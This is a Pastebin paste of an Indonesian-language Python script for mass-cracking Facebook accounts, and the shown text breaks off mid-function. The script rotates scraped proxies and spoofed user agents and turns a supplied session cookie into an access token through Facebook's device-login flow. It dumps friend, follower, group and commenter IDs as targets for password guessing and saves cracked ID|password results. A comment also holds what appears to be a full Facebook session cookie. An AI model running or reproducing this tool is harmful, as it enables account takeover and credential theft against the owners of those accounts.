Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #-----------------[ IMPORT-MODULE ]-------------------
- import requests,bs4,json,os,sys,random,datetime,time,re
- import urllib3,rich,base64
- from rich.table import Table as me
- from rich.console import Console as sol
- from bs4 import BeautifulSoup as sop
- from bs4 import BeautifulSoup as par
- from bs4 import BeautifulSoup as parser
- from concurrent.futures import ThreadPoolExecutor as tred
- from rich.console import Group as gp
- from rich.panel import Panel as nel
- from rich.panel import Panel as panel
- from rich import print as cetak
- from rich.panel import Panel
- from rich.markdown import Markdown as mark
- from rich.columns import Columns as col
- from rich.tree import Tree
- from rich import print as rprint
- from rich import print as prints
- from rich import pretty
- from rich.text import Text as tekz
- from time import sleep
- ###----------[ IMPORT MODULE RICH ]---------- ###
- from rich.tree import Tree
- from rich import print as prints
- from rich.console import Console
- from rich.table import Table
- from rich.columns import Columns
- from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn,TimeElapsedColumn
- console = Console()
- #------------------[ USER-AGENT ]-------------------#
- pretty.install()
- CON=sol()
- ugen2=[]
- ugen=[]
- cokbrut=[]
- ses=requests.Session()
- princp=[]
- wa = Console()
- try:
- prox= requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
- open('.prox.txt','w').write(proxy)
- except Exception as e:
- proxy=open('.prox.txt','r').read().splitlines()
- ###----------[ GENERATE USERAGENT ]---------- ###
- for xd in range(10000):
- a='Mozilla/5.0 (Linux; Android '
- b=random.randrange(1, 9)
- c=random.randrange(1, 9)
- d='SAMSUNG SM-S901B/S901BXXS4CWD3)'
- e=random.randrange(100, 9999)
- f='AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/21.0 Chrome/'
- g=random.randrange(1, 9)
- h=random.randrange(1, 4)
- i=random.randrange(1, 4)
- j=random.randrange(1, 4)
- k='Mobile Safari/537.36'
- uaku=(f'{a}{b}.{c} {d}{e}{f}{g}.{h}.{i}.{j} {k}')
- ugen.append(uaku)
- a='Mozilla/5.0 (Linux; Android '
- b=random.randrange(1, 9)
- c=random.randrange(1, 9)
- d='M2103K19PG)'
- e=random.randrange(100, 9999)
- f='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/'
- g=random.randrange(1, 9)
- h=random.randrange(1, 4)
- i=random.randrange(1, 4)
- j=random.randrange(1, 4)
- k='Mobile Safari/537.3'
- uakuh=(f'{a}{b}.{c} {d}{e}{f}{g}.{h}.{i}.{j} {k}')
- ugen.append(uakuh)
- for xd in range(10):
- a='Mozilla/5.0 (Windows NT 10.0;'
- b=random.randrange(100, 9999)
- c=random.randrange(100, 9999)
- d='Win64; x64)'
- e=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- g=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- h=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- i=random.randrange(1, 9)
- j='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/'
- k=random.randrange(1, 9)
- l=random.randrange(1, 9)
- m='Safari/537.36 Edg/113.0.1774.57'
- uaku=f'{a}{b}/{c}{d}{e}{f}{g}{h}{i}{j}.{k} {l}'
- ugen2.append(uaku)
- a='Mozilla/5.0 (Linux; Android'
- b=random.randrange(100, 9999)
- c=random.randrange(100, 9999)
- d='V2111'
- e=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- g=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- h=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- i=random.randrange(1, 9)
- j='AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/'
- k=random.randrange(1, 9)
- l=random.randrange(1, 9)
- m='Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/401.0.0.24.77;]'
- uaku=f'{a}{b}/{c}{d}{e}{f}{g}{h}{i}{j}.{k} {l}'
- def uaku():
- try:
- ua=open('bbnew.txt','r').read().splitlines()
- for ub in ua:
- ugen.append(ub)
- except:
- a=requests.get('https://github.com/EC-1709/a/blob/main/bbnew.txt').text
- ua=open('.bbnew.txt','w')
- aa=re.findall('line">(.*?)<',str(a))
- for un in aa:
- ua.write(un+'\n')
- ua=open('.bbnew.txt','r').read().splitlines()
- #ua = random.choice(['Dalvik/2.1.0 (Linux; U; Android 4.5 SM-G900F Build/LRX21T)1239[FBAN/FB4A;FBAV/43.0.0.29.147;FBPN/com.facebook.katana;FBLC/en_GB;FBBV/4.2.3.3 ;FBCR/Tele2 LT;FBMF/samsung;FBBD/samsung;FBDV/SM-G900F;FBSV/5.0;FBCA/armeabi-v7a:armeabi;FBDM/'+'{density=3.0,width=1080,height=1920};FB_FW/1;]','Dalvik/1.6.0 (Linux; U; Android 3.2 SM-A720F Build/R16NW)4487[FBAN/Orca-Android;FBAV/196.0.0.29.99;FBPN/com.facebook.orca;FBLC/th_TH;FBBV/3.3.2.3;FBCR/AIS;FBMF/samsung;FBBD/samsung;FBDV/SM-A720F;FBSV/8.0.0;FBCA/armeabi-v7a:armeabi;FBDM/'+'{density=3.0,width=1080,height=1920};FB_FW/1;]','Dalvik/1.6.0 (Linux; U; Android 3.7 GT-I9300 Build/IMM76D)8589[FBAN/Orca-Android;FBAV/5.0.0.16.1;FBLC/tr_TR;FBBV/3.2.3.1;FBCR/T-Mobile;FBMF/samsung;FBBD/samsung;FBDV/GT-I9300;FBSV/4.0.4;FBCA/armeabi-v7a:armeabi;FBDM/'+'{density=1.0,width=1066,height=552};]'])
- ###----------[ WARNA PRINT RICH ]---------- ###
- M2 = "[#FF0000]" # MERAH
- H2 = "[#00FF00]" # HIJAU
- K2 = "[#FFFF00]" # KUNING
- B2 = "[#00C8FF]" # BIRU
- P2 = "[#FFFFFF]" # PUTIH
- ###----------[ CEK WARNA TEMA ]---------- ###
- try:
- file_color = open("data/theme_color","r").read()
- color_text = file_color.split("|")[0]
- color_text = file_color.split("|")[1]
- except:
- color_text = "[#00C8FF]"
- color_text = "#00C8FF"
- #------------[ INDICATION ]---------------#
- id,id2,loop,ok,cp,akun,oprek,lisensiku,tokenku,uid,lisensikuni=[],[],0,0,0,[],[],[],[],[],[]
- taplikasi=['no']
- taplikasi=[]
- gabriel=[]
- cokbrut=[]
- method=[]
- ualu=[]
- ualuh=[]
- dia=[]
- atur = []
- pwpluss,pwnya=[],[]
- P = '\x1b[1;97m' # PUTIH
- M = '\x1b[1;91m' # MERAH
- H = '\x1b[1;92m' # HIJAU
- K = '\x1b[1;93m' # KUNING
- B = '\x1b[1;94m' # BIRU
- U = '\x1b[1;95m' # UNGU
- O = '\x1b[1;96m' # BIRU MUDA
- N = '\x1b[0m' # WARNA MATI
- x = '\33[m' # DEFAULT
- m = '\x1b[1;91m' #RED +
- k = '\033[93m' # KUNING +
- h = '\x1b[1;92m' # HIJAU +
- hh = '\033[32m' # HIJAU -
- u = '\033[95m' # UNGU
- kk = '\033[33m' # KUNING -
- b = '\33[1;96m' # BIRU -
- p = '\x1b[0;34m' # BIRU +
- asu = random.choice([m,k,h,u,b])
- try:cek_data = requests.get("http://ip-api.com/json/").json()
- except:cek_data = {'-'}
- try:asal_kota = cek_data["city"]
- except:asal_kota = {'-'}
- try:asal_reg = cek_data["region"]
- except:asal_reg = cek_data['-']
- try:times = cek_data["timezone"]
- except:times = cek_data['-']
- try:city = cek_data["city"]
- except:city = cek_data['-']
- #--------------------[ CONVERTER-BULAN ]--------------#
- dic = {'1':'January','2':'February','3':'March','4':'April','5':'May','6':'June','7':'July','8':'August','9':'September','10':'October','11':'November','12':'December'}
- dic2 = {'01':'January','02':'February','03':'March','04':'April','05':'May','06':'June','07':'July','08':'August','09':'September','10':'October','11':'November','12':'Devember'}
- tgl = datetime.datetime.now().day
- bln = dic[(str(datetime.datetime.now().month))]
- thn = datetime.datetime.now().year
- okc = 'OK-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
- cpc = 'CP-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
- #------------------[ CEK TAHUN ]---------------#
- def cektahun(fx):
- if len(fx)==15:
- if fx[:10] in ['1000000000'] :tahunz = '2009'
- elif fx[:9] in ['100000000'] :tahunz = '2009'
- elif fx[:8] in ['10000000'] :tahunz = '2009'
- elif fx[:7] in ['1000000','1000001','1000002','1000003','1000004','1000005']:tahunz = '2009'
- elif fx[:7] in ['1000006','1000007','1000008','1000009']:tahunz = '2010'
- elif fx[:6] in ['100001'] :tahunz = '2010'
- elif fx[:6] in ['100002','100003'] :tahunz = '2011'
- elif fx[:6] in ['100004'] :tahunz = '2012'
- elif fx[:6] in ['100005','100006'] :tahunz = '2013'
- elif fx[:6] in ['100007','100008'] :tahunz = '2014'
- elif fx[:6] in ['100009'] :tahunz = '2015'
- elif fx[:5] in ['10001'] :tahunz = '2016'
- elif fx[:5] in ['10002'] :tahunz = '2017'
- elif fx[:5] in ['10003'] :tahunz = '2018'
- elif fx[:5] in ['10004'] :tahunz = '2019'
- elif fx[:5] in ['10005'] :tahunz = '2020'
- elif fx[:5] in ['10006'] :tahunz = '2021'
- elif fx[:5] in ['10009'] :tahunz = '2023'
- elif fx[:5] in ['10007','10008']:tahunz = '2022'
- else:tahunz=''
- elif len(fx) in [9,10]:
- tahunz = '2008'
- elif len(fx)==8:
- tahunz = '2007'
- elif len(fx)==7:
- tahunz = '2006'
- else:tahunz=''
- return tahunz
- #------------------[ MACHINE-SUPPORT ]---------------#
- def alvino_xy(u):
- for e in u + "\n":sys.stdout.write(e);sys.stdout.flush();time.sleep(0.005)
- def clear():
- os.system('clear')
- def back():
- login()
- #------------------[ LOGO-LAKNAT ]-----------------#
- def banner():
- clear()
- cetak(nel(f'''[bold yellow] ______ __ _______
- | __ \.----.--.--.| |_.-----.| ___|.-----.----.----.-----.
- | __ <| _| | || _| -__|| ___|| _ | _| __| -__|
- |______/|__| |_____||____|_____||___| |_____|__| |____|_____|
- ''',width=70,padding=(0,1),title=f" ••• Banner ••• ",style=f"bold purple"))
- ###----------[ NGECEK COOKIES ]----------###
- def login():
- try:
- token = open('.token.txt','r').read()
- cok = open('.cok.txt','r').read()
- tokenku.append(token)
- try:
- sy = requests.get('https://graph.facebook.com/me?fields=id,name&access_token='+tokenku[0], cookies={'cookie':cok})
- sy2 = json.loads(sy.text)['name']
- sy3 = json.loads(sy.text)['id']
- menu(sy2,sy3)
- except KeyError:
- login_lagi334()
- except requests.exceptions.ConnectionError:
- li = '# PROBLEM INTERNET CONNECTION, CHECK AND TRY AGAIN'
- lo = mark(li, style='red')
- sol().print(lo, style='cyan')
- exit()
- except IOError:
- login_lagi334()
- def login_lagi334():
- try:
- os.system('clear')
- banner()
- print('')
- your_cookies = input(' Masukan Cookie : ')
- with requests.Session() as r:
- try:
- r.headers.update({'content-type': 'application/x-www-form-urlencoded',})
- data = {'access_token': '867777633323150|446fdcd4a3704f64e5f6e5fd12d35d01','scope': ''}
- response = json.loads(r.post('https://graph.facebook.com/v2.6/device/login/', data = data).text)
- code, user_code = response['code'], response['user_code']
- verification_url, status_url = ('https://m.facebook.com/device?user_code={}'.format(user_code)), ('https://graph.facebook.com/v2.6/device/login_status?method=post&code={}&access_token=867777633323150|446fdcd4a3704f64e5f6e5fd12d35d01&callback=LeetsharesCallback'.format(code))
- r.headers.pop('content-type')
- r.headers.update({'sec-fetch-mode': 'navigate','user-agent': 'Mozilla/5.0 (Linux; Android 9; RMX1941 Build/PPR1.180610.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/107.0.5304.54 Mobile Safari/537.36','sec-fetch-site': 'cross-site','Host': 'm.facebook.com','accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-dest': 'document',})
- response2 = r.get(verification_url, cookies = {'cookie': your_cookies}).text
- if 'Bagaimana Anda ingin masuk ke Facebook?' in str(response2) or '/login/?next=' in str(response2):
- print(" ├╴> Cookie Invalid...", end='\r');time.sleep(3.5);print(" ", end='\r');exit()
- else:
- action = re.search('action="(.*?)">', str(response2)).group(1).replace('amp;', '')
- fb_dtsg = re.search('name="fb_dtsg" value="(.*?)"', str(response2)).group(1)
- jazoest = re.search('name="jazoest" value="(\d+)"', str(response2)).group(1)
- data = {'fb_dtsg': fb_dtsg,'jazoest': jazoest,'qr': 0,'user_code': user_code,}
- r.headers.update({'origin': 'https://m.facebook.com','referer': verification_url,'content-type': 'application/x-www-form-urlencoded','sec-fetch-site': 'same-origin',})
- response3 = r.post('https://m.facebook.com{}'.format(action), data = data, cookies = {'cookie': your_cookies})
- if 'https://m.facebook.com/dialog/oauth/?auth_type=rerequest&redirect_uri=' in str(response3.url):
- r.headers.pop('content-type');r.headers.pop('origin')
- response4 = r.post(response3.url, data = data, cookies = {'cookie': your_cookies}).text
- action = re.search('action="(.*?)"', str(response4)).group(1).replace('amp;', '')
- fb_dtsg = re.search('name="fb_dtsg" value="(.*?)"', str(response4)).group(1)
- jazoest = re.search('name="jazoest" value="(\d+)"', str(response4)).group(1)
- scope = re.search('name="scope" value="(.*?)"', str(response4)).group(1)
- display = re.search('name="display" value="(.*?)"', str(response4)).group(1)
- user_code = re.search('name="user_code" value="(.*?)"', str(response4)).group(1)
- logger_id = re.search('name="logger_id" value="(.*?)"', str(response4)).group(1)
- auth_type = re.search('name="auth_type" value="(.*?)"', str(response4)).group(1)
- encrypted_post_body = re.search('name="encrypted_post_body" value="(.*?)"', str(response4)).group(1)
- return_format = re.search('name="return_format\\[\\]" value="(.*?)"', str(response4)).group(1)
- r.headers.update({'origin': 'https://m.facebook.com','referer': response3.url,'content-type': 'application/x-www-form-urlencoded',})
- data = {'fb_dtsg': fb_dtsg,'jazoest': jazoest,'scope': scope,'display': display,'user_code': user_code,'logger_id': logger_id,'auth_type': auth_type,'encrypted_post_body': encrypted_post_body,'return_format[]': return_format,}
- response5 = r.post('https://m.facebook.com{}'.format(action), data = data, cookies = {'cookie': your_cookies}).text
- windows_referer = re.search('window.location.href="(.*?)"', str(response5)).group(1).replace('\\', '')
- r.headers.pop('content-type');r.headers.pop('origin')
- r.headers.update({'referer': 'https://m.facebook.com/',})
- response6 = r.get(windows_referer, cookies = {'cookie': your_cookies}).text
- if 'Sukses!' in str(response6):
- r.headers.update({'sec-fetch-mode': 'no-cors','referer': 'https://graph.facebook.com/','Host': 'graph.facebook.com','accept': '*/*','sec-fetch-dest': 'script','sec-fetch-site': 'cross-site',})
- response7 = r.get(status_url, cookies = {'cookie': your_cookies}).text
- access_token = re.search('"access_token": "(.*?)"', str(response7)).group(1)
- print(f"\n ├╴> Token : {access_token}")
- tokenew = open(".token.txt","w").write(access_token)
- cook= open(".cok.txt","w").write(your_cookies)
- print("\n ├╴> Login Berhasil Jalankan Ulang Perintah Python nya");exit()
- except Exception as e:
- print(" ├╴> Cookies Mokad Kontol")
- os.system('rm -rf .cok.txt && rm -rf .token.txt')
- print(e)
- time.sleep(3)
- back()
- except:pass
- #------------------[ BAGIAN-MENU ]----------------#
- def menu(my_name,my_id):
- try:
- token = open('.token.txt','r').read()
- cok = open('.cok.txt','r').read()
- # cok = open('datr=F5-dZMHT8Jjf-5UTOEJtt_Fa; sb=F5-dZJ-IUiGsDbrNrPfzydIE; m_pixel_ratio=1.8000000715255737; c_user=100094030669711; xs=26%3AOImPBosh7i0qxQ%3A2%3A1688051521%3A-1%3A-1; fr=0B0Z4F4LfLmPXKvMw.AWW2EO0HTJRMd7gEQHEg1szGBN0.BknZ8X.mU.AAA.0.0.BknZ9D.AWUJMEtAdvI; m_page_voice=100094030669711; wd=400x757; locale=id_ID; fbl_cs=AhDMgvJZRQOC5DRyJjyUhemiGEh2NWIyeGNOZFY9T0JYQ2M0UUpuei9nZg; fbl_ci=290948869958235; vpd=v1%3B757x400x1.8000000715255737; fbl_st=100433853%3BT%3A28134193','r').read()
- except IOError:
- print(' [+] Cookies Kadaluarsa ')
- time.sleep(5)
- login()
- os.system('clear')
- banner()
- negara = requests.get("http://ip-api.com/json/").json()["country"]
- ip = requests.get("http://ip-api.com/json/").json()["query"]
- dia.append(nel(f'[bold white][+[/][bold white]][/] [bold white]USERNAME : [bold green]{my_name}[/]\n[bold white][+[/][bold white]][/] [bold white]USER IDZ : [bold green]{my_id}[/]\n[bold white][+[/][bold white]][/] [bold white]TANGGAL : [bold green]{tgl}[/][/]\n[bold white][+[/][bold white]][/] [bold white]RICODE BY : [bold green]SPOKY XD[/][/] ',width=35,padding=(0,1),style=f"bold purple"))
- dia.append(nel(f'[bold white][+[/][bold white]][/] [bold white]NEGARA : [bold green]{negara}[/]\n[bold white][+[/][bold white]][/] [bold white]KOTA : [bold green]{asal_kota}[/]\n[bold white][+[/][bold white]][/] [bold white]TIMEZONE : [bold green]{times}[/][/]\n[bold white][+[/][bold white]][/] [bold white]ALAMAT IP : [bold green]{ip}[/][/] ',width=35,padding=(0,1),style=f"bold purple"))
- console.print(Columns(dia))
- cetak(nel(f"[bold white][[bold cyan]01[bold white]] Crack From Publick [bold white][[bold cyan]06[bold white]] Crack From Group \n[bold white][[bold cyan]02[bold white]] Crack From Massal [bold white][[bold cyan]07[bold white]] Dump Idz Target \n[bold white][[bold cyan]03[bold white]] Crack From File [[bold cyan]08[bold white]] Cek Result Crack \n[bold white][[bold cyan]04[bold white]] Crack From Followers [bold white][[bold cyan]09[bold white]] Check Tapyes \n[bold white][[bold cyan]05[bold white]] Crack From Komen [bold white][[bold cyan]10[bold white]] [bold white]Hapus Cookies",width=70,padding=(0,5),title=f"[bold green] ••• LIST MENU CRACK ••• ",style=f"bold purple"))
- print('╭───────────────────────────╮')
- Cyber_To_XR = input('\r├╴➤ PILIH MENU : ')
- print('╰───────────────────────────╯')
- if Cyber_To_XR in ['1','01']:
- publick()
- elif Cyber_To_XR in ['2','02']:
- massal()
- elif Cyber_To_XR in ['3','03']:
- file()
- elif Cyber_To_XR in ['4','04']:
- followers()
- elif Cyber_To_XR in ['5','05']:
- komen()
- elif Cyber_To_XR in ['6','06']:
- group()
- elif Cyber_To_XR in ['7','07']:
- dumpid()
- elif Cyber_To_XR in ['8','08']:
- result()
- elif Cyber_To_XR in ['9','09']:
- tapyes()
- elif Cyber_To_XR in ['10','10']:
- os.system('rm -rf .cookie.txt')
- os.system('rm -rf .token.txt')
- print(f'{m}Sukses Hapus Cookies{x}')
- exit()
- else:
- print('╰─◕➤ Pilih Yang Bener Asu ')
- back()
- #-----------------[ HASIL-CRACK ]-----------------#
- def result():
- cetak(nel(f'[bold white][[bold green]01[/][bold white]][/] [bold white]HASIL OK[/]\n[bold white][[bold green]02[/][bold white]][/] [bold white]HASIL CP[/]\n[bold white][[bold green]03[/][bold white]][/] [bold red]Kembali[/]',width=70,title=f"[bold green]• [/][bold purple] HASIL CRACK [/][bold white] •[/]",style=f"bold purple"))
- print('╭──────────────────╮')
- kz = input(f'├╴➤ Pilih : ')
- print('╰──────────────────╯')
- if kz in ['2','02']:
- try:vin = os.listdir('CP')
- except FileNotFoundError:
- print('╰─◕➤ File Tidak Di Temukan ')
- time.sleep(3)
- back()
- if len(vin)==0:
- print('╰─◕➤ Anda Tidak Memiliki Hasil CP ')
- time.sleep(4)
- back()
- else:
- cih = 0
- lol = {}
- for isi in vin:
- try:hem = open('CP/'+isi,'r').readlines()
- except:continue
- cih+=1
- if cih<10:
- nom = '0'+str(cih)
- lol.update({str(cih):str(isi)})
- lol.update({nom:str(isi)})
- print('['+nom+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
- else:
- lol.update({str(cih):str(isi)})
- print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
- geeh = input(f'\n{P}{x}{P}└──◕➤ {x}{P}{x} {P}Select{x} : ')
- try:geh = lol[geeh]
- except KeyError:
- print('└──◕➤ Pilih Yang Bener Bro ')
- exit()
- try:lin = open('CP/'+geh,'r').read().splitlines()
- except:
- print('└──◕➤ File Tidak Di Temukan ')
- time.sleep(4)
- back()
- nocp=0
- for cpku in range(len(lin)):
- cpkuni=lin[nocp].split('|')
- cpkuh=f'# ID : {cpkuni[0]} PASSWORD : {cpkuni[1]}'
- sol().print(mark(cpkuh,style="yellow"))
- nocp +=1
- input('└──◕➤ [ Klik enter ]')
- back()
- elif kz in ['1','01']:
- try:vin = os.listdir('OK')
- except FileNotFoundError:
- print('└──◕➤ File Tidak Di Temuakan ')
- time.sleep(4)
- back()
- if len(vin)==0:
- print('└──◕➤ Anda Tidak Mempunyai File OK ')
- time.sleep(4)
- back()
- else:
- cih = 0
- lol = {}
- for isi in vin:
- try:hem = open('OK/'+isi,'r').readlines()
- except:continue
- cih+=1
- if cih<80:
- nom = '0'+str(cih)
- lol.update({str(cih):str(isi)})
- lol.update({nom:str(isi)})
- print('['+nom+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
- else:
- lol.update({str(cih):str(isi)})
- print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
- print('╭──────────────────╮')
- geeh = input(f'├╴➤ Pilih : ')
- print('╰──────────────────╯')
- try:geh = lol[geeh]
- except KeyError:
- print('└──◕➤ Pilih Yang Bener Bro ')
- exit()
- try:lin = open('OK/'+geh,'r').read().splitlines()
- except:
- print('└──◕➤ File Tidak Di Temuakan ')
- time.sleep(4)
- back()
- nocp=0
- for cpku in range(len(lin)):
- cpkuni=lin[nocp].split('|')
- cpkuh=f'# ID : {cpkuni[0]} PASSWORD : {cpkuni[1]}'
- sol().print(mark(cpkuh,style="green"))
- print(f'{hh} USER UGENT : {x}{cpkuni[2]}')
- nocp +=1
- print('╭──────────────────╮')
- input(f'├╴➤ {m} [ Klik Enter ] ')
- print('╰──────────────────╯')
- back()
- elif kz in ['3','03']:
- back()
- else:
- print('└──◕➤ Pilih Yang Bener Bro ')
- exit()
- #-----------------[ DUMP ID ]-----------------#
- def dumpid():
- try:
- token = open('.token.txt','r').read()
- cookie = open('.cok.txt','r').read()
- os.mkdir('/sdcard/DUMP-FILE')
- except:pass
- try:
- barelang = input(f"├╴➤ Masukan Id : ")
- batuampar = input(f"├╴➤ Nama File Dump : ")
- gajahmada = ('/sdcard/DUMP-FILE/' + batuampar + '.txt').replace(' ', '_')
- xxx = open(gajahmada, 'w')
- coki = {"cookie":cookie}
- smpn20 = requests.get('https://graph.facebook.com/%s?fields=friends.limit(90000)&access_token=%s'%(barelang,token),cookies=coki).json()
- for sekupang in smpn20['friends']['data']:
- id.append(sekupang['id']+'|'+sekupang['name'])
- xxx.write(sekupang['id']+'|'+sekupang['name']+ '\n')
- print('\r├╴➤ Mengumpulkan %s Id'%(len(id)),end='')
- time.sleep(0.0050)
- print(f"\n├╴➤ Berhasil Dump Id Dari Publik")
- print(f"╰─◕➤ Salin Output File + [ %s ]"%(gajahmada))
- exit()
- except (KeyError,IOError):
- os.remove(gajahmada)
- print(f"└──◕➤ Gagal Dump Id, Kemungkinan Id Tidak Ada")
- exit()
- #-----------------[ CRACK KOMEN ]-----------------#
- def komen():
- try:
- token = open('.token.txt','r').read()
- cokies = open('.cok.txt','r').read()
- except IOError:
- print('╰─◕➤ Cookies Kadaluarsa ')
- time.sleep(5)
- login()
- cetak(panel(f"Pastikan Akun Target Yang Di Pilih Bersifat Publik Jangan Private",width=70,padding=(0,1),style=f"bold white"))
- ide = input(f'├╴➤ Masukan Id Postingan : ')
- get_komen('https://m.facebook.com/'+ide,cokies)
- setting()
- if len(id)==0:
- print(f"╰─◕➤ Gagal Dump Id, Kemungkinan Akun Private")
- time.sleep(3);exit()
- def get_komen(url,cokies):
- data = parser(ses.get(url,cookies={"cookie": cokies}).text, "html.parser")
- for isi in data.find_all("h3"):
- for ids in isi.find_all("a",href=True):
- if "profile.php" in ids.get("href"):id = ids.get("href").split('=')[1].replace("&refid","")
- else:id = re.findall("/(.*?)?__",ids["href"])[0]. replace("?refid=52&","").split('?')[0]
- nama = ids.text
- if id+"|"+nama in dump:pass
- else:dump.append(id+"|"+nama)
- print('\r├╴➤ Mengumpulkan %s Id'%(len(id)),end='')
- for z in data.find_all("a",href=True):
- if "Tampilkan komentar sebelumnya" in z.text:
- try:get_komen("https://m.facebook.com"+z["href"])
- except:pass
- #-----------------[ CRACK GROUP ]-----------------#
- def group():
- try:
- token = open('.token.txt','r').read()
- cokies = open('.cok.txt','r').read()
- except IOError:
- print('╰─◕➤ Cookies Kadaluarsa ')
- time.sleep(5)
- login()
- cetak(nel('PASTIKAN IDZ GROUP BERSIFAT PUBLICK , MOHOM BERSABAR DUMP ID GRUP SANGAT LAMBAT',width=70,style=f"bold green"))
- url = input(f'╰─◕➤ IDZ GRUP : ')
- kocak("https://mbasic.facebook.com/groups/"+url,cokies);setting()
- def kocak(url,cokies):
- data = parser(ses.get(url,cookies={"cookie": cokies}).text, "html.parser")
- judul = re.findall("<title>(.*?)</title>",str(data))[0]
- if str(judul) == 'Use basic mode':
- print('\n╰─◕➤ Cokies Berada Dalam Mode Free');exit()
- if str(judul) == 'Epsilon':
- print('\n╰─◕➤ Cokies Tidak Dpt Mengakses Grup');exit()
- if str(judul) == 'Kesalahan':
- print('\n╰─◕➤ Cokies Yg Anda Masukan Salah');exit()
- if str(judul) == 'Masuk Facebook' or str(judul) == 'Masuk Facebook | Facebook' or str(judul) == 'Masuk ke Facebook' or str(judul) == 'Log in to Facebook':
- print('\n╰─◕➤ Cokies Mokad');exit()
- else:
- for isi in data.find_all("h3"):
- for ids in isi.find_all("a",href=True):
- if "profile.php" in ids.get("href"):uid = ids.get("href").split("=")[1].replace("&eav","");nama = ids.text
- else:
- if ids.text==judul:pass
- else:uid = ids.get("href").split("/")[1].split("?")[0];nama = ids.text
- if uid+"|"+nama in id:pass
- else:id.append(uid+"|"+nama)
- print('\r╰─◕➤ Mengumpulkan %s Id'%(len(id)),end='')
- for x in data.find_all("a",href=True):
- if "Lihat Postingan Lainnya" in x.text:
- kocak("https://mbasic.facebook.com"+x.get("href"),cokies)
- #-----------------[ CRACK PUBLICK ]-----------------#
- def publick():
- try:
- token = open('.token.txt','r').read()
- kukis = open('.cok.txt','r').read()
- except IOError:
- exit()
- cetak(panel('\t[bold white]Ketik [bold green]Me[/] Jika Ingin Crack Pertemanan Sendiri',width=90,style='bold white'))
- pil = input(f'├╴➤ Masukan ID Target : ')
- try:
- koH = requests.get('https://graph.facebook.com/v1.0/'+pil+'?fields=friends.limit(5000)&access_token='+tokenku[0],cookies={'cookie': kukis}).json()
- for pi in koH['friends']['data']:
- try:id.append(pi['id']+'|'+pi['name'])
- except:continue
- print(f'╰─◕➤ Total ID Yang Terkumpul : {h}'+str(len(id)))
- setting()
- except requests.exceptions.ConnectionError:
- print('╰─◕➤ Internet Lu Gak Ada Anjing')
- exit()
- except (KeyError,IOError):
- print('╰─◕➤ Pertemanan Tidak Publick Atau Cookie And Token Anda Busuk')
- exit()
- #-----------------[ CRACK FOLLOWERS ]-----------------#
- def followers():
- try:
- token = open('.token.txt','r').read()
- cookie = open('.cok.txt','r').read()
- except IOError:
- print('╰─◕➤ Cookies Kadaluarsa ')
- time.sleep(5)
- login()
- ses = requests.Session()
- cetak(panel(f"Ketik 'Me' Jika Ingin Crack Dari Total Followers Anda Sendiri",width=70,padding=(0,1),style=f"bold white"))
- user = input(f"├╴➤ Masukan Id : ")
- if user.isdigit():
- url = (f"https://mbasic.facebook.com/profile.php?id={user}&v=followers")
- else:
- url = (f"https://mbasic.facebook.com/{user}?v=followers")
- try:
- link = ses.get(url, cookies={"cookie": cookie}).text
- if "Halaman Tidak Ditemukan" in link:
- print("\n╰─◕➤ Pengguna Dengan User Id {user} Tidak Ditemukan")
- time.sleep(2);exit()
- elif "Anda Diblokir Sementara" in link:
- print("\n╰─◕➤ Akun Anda Di Batasin Sementara")
- time.sleep(2);exit()
- elif "Konten Tidak Ditemukan" in link:
- print("\n╰─◕➤ Pengguna Dengan User Id {user} Tidak Ditemukan")
- time.sleep(2);exit()
- else:
- dump_followers(url, cookie)
- except (requests.exceptions.ConnectionError,requests.exceptions.ChunkedEncodingError,requests.exceptions.ReadTimeout) as e:
- print("╰─◕➤ Tidak Ada Koneksi Internet, Periksa Kembali Koneksi Anda")
- time.sleep(3);exit()
- setting()
- def dump_followers(link, cookie):
- try:
